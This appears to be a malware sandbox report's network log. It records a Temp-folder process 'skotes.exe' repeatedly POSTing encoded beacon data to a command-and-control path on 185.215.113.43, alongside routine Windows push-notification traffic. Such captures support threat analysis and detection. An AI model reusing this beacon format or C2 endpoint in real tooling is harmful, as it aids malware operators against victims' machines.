140	192.168.2.5	64662	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:17.209721088 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:17.924453974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	64663	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:19.552705050 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:20.242877007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	64664	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:21.758663893 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:22.482819080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	64665	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:24.114631891 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:24.809612989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	64666	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:26.332699060 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:27.033277035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	64667	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:28.664062023 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:29.392255068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	64668	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:30.911600113 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:31.615603924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	64669	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:33.264673948 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:33.959880114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	64671	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:35.478763103 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 3, 2024 03:32:36.173635006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	64672	185.215.113.43	80	4676	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 03:32:37.801994085 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 3, 2024 03:32:38.508936882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 01:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49720	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 4d 61 74 6e 39 35 77 6b 6b 6d 50 79 30 57 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 62 63 38 61 35 39 64 38 31 32 61 39 61 62 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: DMatn95wkkmPy0WR.1Context: abc8a59d812a9ab4
2024-10-03 01:26:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:07 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 4d 61 74 6e 39 35 77 6b 6b 6d 50 79 30 57 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 62 63 38 61 35 39 64 38 31 32 61 39 61 62 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: DMatn95wkkmPy0WR.2Context: abc8a59d812a9ab4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:07 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 44 4d 61 74 6e 39 35 77 6b 6b 6d 50 79 30 57 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 62 63 38 61 35 39 64 38 31 32 61 39 61 62 34 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: DMatn95wkkmPy0WR.3Context: abc8a59d812a9ab4
2024-10-03 01:26:07 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:07 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 58 52 77 74 2f 77 75 75 45 53 4c 4c 72 43 72 78 46 55 31 69 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: xXRwt/wuuESLLrCrxFU1iQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49723	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 69 44 56 46 45 49 38 68 45 61 59 39 4c 33 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 39 36 36 30 39 31 37 62 32 38 36 35 31 62 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: riDVFEI8hEaY9L3W.1Context: f9660917b28651bc
2024-10-03 01:26:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 72 69 44 56 46 45 49 38 68 45 61 59 39 4c 33 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 39 36 36 30 39 31 37 62 32 38 36 35 31 62 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: riDVFEI8hEaY9L3W.2Context: f9660917b28651bc<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 69 44 56 46 45 49 38 68 45 61 59 39 4c 33 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 39 36 36 30 39 31 37 62 32 38 36 35 31 62 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: riDVFEI8hEaY9L3W.3Context: f9660917b28651bc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:26:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4d 6e 2b 51 4e 62 6b 61 69 6b 32 57 54 4a 4d 56 6f 33 61 76 30 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Mn+QNbkaik2WTJMVo3av0g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49724	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 34 2f 54 59 6c 38 6e 76 61 6b 61 30 4f 75 4e 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 62 33 61 64 36 30 64 33 36 30 64 63 35 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 4/TYl8nvaka0OuNb.1Context: ffb3ad60d360dc53
2024-10-03 01:26:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 34 2f 54 59 6c 38 6e 76 61 6b 61 30 4f 75 4e 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 62 33 61 64 36 30 64 33 36 30 64 63 35 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 4/TYl8nvaka0OuNb.2Context: ffb3ad60d360dc53<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:12 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 34 2f 54 59 6c 38 6e 76 61 6b 61 30 4f 75 4e 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 62 33 61 64 36 30 64 33 36 30 64 63 35 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 4/TYl8nvaka0OuNb.3Context: ffb3ad60d360dc53
2024-10-03 01:26:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 75 30 44 5a 48 62 35 74 63 6b 71 4e 4a 4a 52 68 36 71 4f 55 37 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: u0DZHb5tckqNJJRh6qOU7g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49725	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:21 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 61 2f 71 4d 57 6b 45 38 65 30 47 68 75 33 54 4e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 31 66 30 38 31 65 31 62 38 34 66 32 39 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: a/qMWkE8e0Ghu3TN.1Context: 961f081e1b84f293
